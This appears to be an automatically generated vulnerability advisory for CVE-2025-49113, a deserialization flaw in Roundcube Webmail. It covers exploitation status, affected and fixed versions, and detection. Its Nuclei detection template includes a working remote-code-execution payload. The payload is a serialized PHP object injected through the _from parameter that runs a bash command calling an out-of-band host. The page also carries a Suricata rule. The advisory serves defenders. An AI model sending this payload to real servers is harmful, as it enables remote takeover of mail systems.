VULNpocalypse

CVE-2025-49113: RoundCube Webmail Deserialization of Untrusted Data Vulnerability

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution by authenticated users because the _from parameter in a URL is not validated in program/actions/settings/upload.php, leading to PHP Object Deserialization.

Description quoted from the CVE record (assigned by mitre, published 2025-06-02).

Weakness: CWE-502 Deserialization of Untrusted Data

How it can be exploited

Exploitable over the network with low attack complexity needing low privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: no. Technical impact: total.

On CISA KEV since
2026-02-20
US federal deadline
2026-03-13
Ransomware use
Not known

Public exploit evidence (Exploit Observer)

Also known as: BDU:2025-06366, CNNVD-202506-019, CNVD-2025-12609, EDB-52324, EUVD-2025-16605, EUVD-2025-16650, GHSA-8j8w-wwqc-x596, GHSA-w9mg-862f-fp7m, SNYK-DEBIAN11-ROUNDCUBE-10292843, SNYK-DEBIAN12-ROUNDCUBE-10292845, SNYK-DEBIANUNSTABLE-ROUNDCUBE-10292842

VEDAS cluster: VEDAS:ACIDSHADOW

Exploit Observer links 37 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (37)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Research and write-ups (6)

Vulnerability databases and vendor advisories (25)

Catalogue entries, not exploit evidence.

405 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS
0.995
very likely to be attacked soon
VEDAS
0.986
strong exploit evidence
On CISA KEV
Yes, since 2026-02-20
Detection rule
Nuclei · Suricata
EPSS (chance of attack)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.1Added to CISA KEV 2026-02-20CVE-2025-49113 EPSS over time2025-062026-11-01
VEDAS (exploit evidence)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.9Added to CISA KEV 2026-02-20CVE-2025-49113 VEDAS over time2025-062026-11-01

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish. The vertical line is the day CISA added it to its exploited list.

VEDAS flagged this bug about 187 days before CISA confirmed attacks.

Who is affected

ProductAffectedNot affected
Roundcube Webmailbefore 1.5.10
from 1.6.0 before 1.6.11		Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: roundcube webmail, the_roundcube_team roundcube_webmail, ооо_«ред_софт» ред_ос.

How to fix it

Fixed versions stated in the CVE record: 1.5.10, 1.6.11.

CISA required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.

Vendor guidance:

How to detect it

Nuclei template (active check)

Roundcube Webmail - Insecure Deserialization

Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution by authenticated users because the _from parameter in a URL is not validated in program/actions/settings/upload.php, leading to PHP Object Deserialization.

Name and description quoted from the template, written by VEDAS.

The template sends 3 requests (GET /, POST /?_task=login, GET /); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using dsl, regex matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2025-49113.yaml
Show the template (132 lines)
yaml
id: CVE-2025-49113

info:
  name: "Roundcube Webmail - Insecure Deserialization"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution by authenticated users
    because the _from parameter in a URL is not validated in program/actions/settings/upload.php, leading to PHP
    Object Deserialization.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2025-49113&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=roundcube&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2025-49113
    cwe-id: CWE-502
  metadata:
    verified: false
  tags: cve,cve2025,roundcube,rce,deserialization,intrusive,vkev,vuln,kev
flow: |
    if (http(1)) {
    http(2) && http(3) && http(4)
    }

variables:
  username: "{{username}}"
  password: "{{password}}"
  filename: "{{randbase(9)}}"
  oast: "{{interactsh-url}}"
  oast_new: "{{replace(oast,'.','\\\\x2e')}}"

http:
  - method: GET
    path:
      - '{{BaseURL}}'

    extractors:
      - type: regex
        name: major
        group: 1
        regex:
          - '"rcversion":(\d)'
        internal: true

      - type: regex
        name: minor
        group: 1
        regex:
          - '"rcversion":\d\d(\d)'
        internal: true

      - type: regex
        name: patch
        group: 1
        regex:
          - '"rcversion":\d\d\d(\d+)'
        internal: true

      - type: dsl
        name: version
        dsl:
          - major + "." + minor + "." + patch
        internal: true

      - type: dsl
        dsl:
          - '"Roundcube Version: "+ version'
        internal: true

    matchers:
      - type: dsl
        name: version_check
        dsl:
          - compare_versions(version, '< 1.5.10') || (compare_versions(version,'>= 1.6.0') && compare_versions(version, '< 1.6.11'))
          - contains_any(body, "roundcube", "Roundcube")
          - contains(body, "rcversion")
        condition: and
        internal: true

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        part: body
        name: nonce
        group: 1
        regex:
          - '"request_token":"(.*?)"'
        internal: true

  - raw:
      - |
        POST /?_task=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _token={{nonce}}&_task=login&_action=login&_timezone=Asia%2FDubai&_url=&_user={{username}}&_pass={{password}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains(location, "task=mail")'
        condition: and
        internal: true

  - raw:
      - |
        POST /?_task=settings&_framed=1&_remote=1&_from=!";O:16:"Crypt_GPG_Engine":1:{s:8:"_gpgconf";s:{{44 + len(oast_new)}}:"bash+-c+"printf+'curl+{{oast_new}}'>/tmp/p;bash+/tmp/p";";}}&_action=upload HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxc4v9AJAwaNTZhjk

        ------WebKitFormBoundaryxc4v9AJAwaNTZhjk
        Content-Disposition: form-data; name="_file[]"; filename="firstfile|a:1:{s:57:\"a\";}"
        Content-Type: image/png

        {{base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==')}}
        ------WebKitFormBoundaryxc4v9AJAwaNTZhjk--

    matchers:
      - type: dsl
        name: exploit_check
        dsl:
          - 'status_code == 200'
          - 'contains(interactsh_protocol, "dns")'
          - 'contains_all(body, "add2attachment_list", "rcmfile", "mimetype", "firstfile")'
        condition: and

CVE-2025-49113.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2025-49113 Roundcube Webmail - Insecure Deserialization. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2025-49113 Roundcube Webmail - Insecure Deserialization"; flow:established,to_server; http.request_body; content:"_token=&_task=login&_action=login&_timezone=Asia%2FDubai&_ur"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2025-49113; reference:url,https://www.exploit.observer/?keyword=CVE-2025-49113&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=roundcube&match=exact; sid:1011510; rev:1;)

CVE-2025-49113.rules on GitHub

References

Government sources

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.